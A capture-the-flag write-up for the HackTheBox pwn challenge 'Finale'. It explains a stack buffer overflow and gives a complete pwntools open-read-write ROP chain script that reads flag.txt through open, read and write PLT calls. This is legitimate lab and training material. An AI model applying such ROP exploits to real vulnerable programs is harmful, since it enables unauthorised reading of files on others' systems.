Finale
Finale
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
It's the end of the season and we all know that the Spooktober Spirit will grant a souvenir to everyone and make their wish come true! Wish you the best for the upcoming year!
Solution Approach
Core idea: Implement Open-Read-Write (ORW) ROP Chain exploit.
Steps
- In this challenge, we're given a 64 bit binary, dynamically linked, and not stripped.
console read-only • copy allowed┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_final/challenge] └─$ file finale finale: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ac92ca00b198dcf7287937f5ce21c1123a5a549e, for GNU/Linux 3.2.0, not stripped
BINARY PROTECTIONS
console read-only • copy allowed┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_final/challenge] └─$ pwn checksec finale [*] '/home/D3v0o0Nu11/Downloads/pwn_final/challenge/finale' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
-
After decompiled the binary, found a potential BOF at the finale() function (line 12).
-
But notice there's a leaked stack address and based from the README.txt file, the problem setter told us not to do ret2libc because the remote server has a custom libc.
-
What comes to my mind we can do "seccomp-way", instead of spawn a shell, we grab the flag from the remote server.
-
Since it's not ret2shell challenge, hence don't need to worry about the flag.txt location.
FLOW
Remembering there is leaked stack addres, hence we can use it to store the content of flag.txt.
Analyzing the source code, we can use open@plt, read@plt, and write@plt.
Things to know
To use open we need rdi and rsi gadgets.
-> int open(const char *pathname, int flags);
rdi is pointing to where we stored the flag.txt content, rsi holds the value for open (gonna use 0 --> read-only).
To use read, we need rdi, rsi, and rdx gadgets.
-> ssize_t read(int fd, void *buf, size_t count);
rdi holds the file descriptor value, rsi holds the path (leaked stack address --> flag content), and rdx the buffer size to read.
To use write, we need rdi, rsi, and rdx gadgets.
-> ssize_t write(int fd, const void *buf, size_t count);
rdi holds the file descriptor, rsi holds the path, and rdx holds the buffer size to be printed to us.
PROBLEM
The problem here, we don't have pop rdx. But no need to worry about that, since read@plt and write@plt is declared at our source code, hopefully the rdx value holds enough buffer for us.
CHECKING RDX HOLDS BY READ AND WRITE
Great! After the finale function called, the rdx value shall set to 0x54. It's enough.
-
After running the binary, it seems there is another leaked stack address.
-
But after grab and unpack it, it resulting to unidentified address:
-
Let's remove that from our interest and let's straight grabbed our leaked stack address at the finale() function and get the rip_offset.
RIP OFFSET --> 72
- Now let's grab our rdi, rsi gadgets. Here's our script so far.
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) gdbscript=''' init-pwndbg continue '''.format(**locals()) exe = './finale' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'INFO' sh = start() ### sh.recvuntil('nonsense]: ') ### get = sh.recvline().strip() ### leaked = unpack(get.ljust(8, b'\x00')) ### log.success(f'LEAKED STACK ADDRESS (?) {hex(leaked)}') sh.sendlineafter(b':', b's34s0nf1n4l3b00') sh.recvuntil(b'luck:') get_2 = sh.recvline().strip() leaked_2 = get_2[1:15] leaked_stack = int(leaked_2, 16) ### print(leaked_2) log.success(f'LEAKED STACK ADDRESS --> {hex(leaked_stack)}') rip_offset = 72 rop = ROP(elf) rdi = rop.find_gadget(['pop rdi', 'ret'])[0] log.info(f'RDI GADGET --> {hex(rdi)}') rsi = rop.find_gadget(['pop rsi', 'ret'])[0] log.info(f'RSI GADGET --> {hex(rsi)}') sh.interactive()
console read-only • copy allowed[+] Starting local process './finale': pid 43083 [+] LEAKED STACK ADDRESS --> 0x7ffdcc1e2f50 [*] Loaded 7 cached gadgets for './finale' [*] RDI GADGET --> 0x4012d6 [*] RSI GADGET --> 0x4012d8 [*] Switching to interactive mode [Strange man in mask]: Now, tell us a wish for next year: $
- Now, before using the read@plt and write@plt, it's a good practice to check whether our open@plt payload is succeed or not.
TESTING OPEN PAYLOAD
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) gdbscript=''' init-pwndbg continue '''.format(**locals()) exe = './finale' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'INFO' sh = start() ### sh.recvuntil('nonsense]: ') ### get = sh.recvline().strip() ### leaked = unpack(get.ljust(8, b'\x00')) ### log.success(f'LEAKED STACK ADDRESS (?) {hex(leaked)}') sh.sendlineafter(b':', b's34s0nf1n4l3b00') sh.recvuntil(b'luck:') get_2 = sh.recvline().strip() leaked_2 = get_2[1:15] leaked_stack = int(leaked_2, 16) ### print(leaked_2) log.success(f'LEAKED STACK ADDRESS --> {hex(leaked_stack)}') rip_offset = 72 rop = ROP(elf) rdi = rop.find_gadget(['pop rdi', 'ret'])[0] log.info(f'RDI GADGET --> {hex(rdi)}') rsi = rop.find_gadget(['pop rsi', 'ret'])[0] log.info(f'RSI GADGET --> {hex(rsi)}') flag_str = b'flag.txt' padding = rip_offset - len(flag_str) # calculate the correct padding ### OPEN PAYLOAD p = flat([ flag_str, b'\x00' * padding, # filled the rest after flag.txt with NULL bytes not NOPs. rdi, # rdi gadget leaked_stack, # holds the flag contents. rsi, # 0, #0x0 --> read-only mode elf.plt['open'], # open@plt elf.sym['finale'] # return to symbol.finale ]) sh.sendlineafter(b':', p) sh.interactive()
- Great! I'm pretty confident now, let's send our read@plt and write@plt payload.
FULL SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) gdbscript=''' init-pwndbg continue '''.format(**locals()) exe = './finale' elf = context.binary = ELF(exe, checksec=True) ### context.log_level = 'DEBUG' context.log_level = 'INFO' sh = start() ### sh.recvuntil('nonsense]: ') ### get = sh.recvline().strip() ### leaked = unpack(get.ljust(8, b'\x00')) ### log.success(f'LEAKED STACK ADDRESS (?) {hex(leaked)}') sh.sendlineafter(b':', b's34s0nf1n4l3b00') sh.recvuntil(b'luck:') get_2 = sh.recvline().strip() leaked_2 = get_2[1:15] leaked_stack = int(leaked_2, 16) ### print(leaked_2) log.success(f'LEAKED STACK ADDRESS --> {hex(leaked_stack)}') rip_offset = 72 rop = ROP(elf) rdi = rop.find_gadget(['pop rdi', 'ret'])[0] log.info(f'RDI GADGET --> {hex(rdi)}') rsi = rop.find_gadget(['pop rsi', 'ret'])[0] log.info(f'RSI GADGET --> {hex(rsi)}') flag_str = b'flag.txt' padding = rip_offset - len(flag_str) # calculate the correct padding ### OPEN PAYLOAD p = flat([ flag_str, b'\x00' * padding, # filled the rest after flag.txt with NULL bytes not NOPs. rdi, # rdi gadget leaked_stack, # holds the flag path rsi, # 0, #0x0 --> read-only mode elf.plt['open'], # open@plt elf.sym['finale'] # return to symbol.finale ]) sh.sendlineafter(b':', p) ### NOTES: Using fd --> 3, because at the start, the binary opens 3 fd (0,1,2) (stdin, stdout, stderr) pay_2 = flat([ ## READ PAYLOAD asm('nop') * rip_offset, # using rip_offset rdi, # rdi holds fd value 3, # 0x3 , file descriptor (fd) set to 3 rsi, # rsi is pointing to stack, it's reading the content leaked_stack, # our flag content elf.plt['read'], # read@plt # rdx # already allocated 0x54 ## WRITE PAYLOAD rdi, # holds fd 1, # stdout (fd --> 1) rsi, # print the content from leaked_stack leaked_stack, # flag content elf.plt['write'] # write@plt # rdx # already allocated 0x54 ]) sh.sendlineafter(b'year:', pay_2) sh.interactive()
RESULT (LOCAL) - GOT THE TESTING FLAG
RESULT (REMOTE)
Flag
REDACTED
Lessons Learned
- Implement Open-Read-Write (ORW) ROP Chain exploit.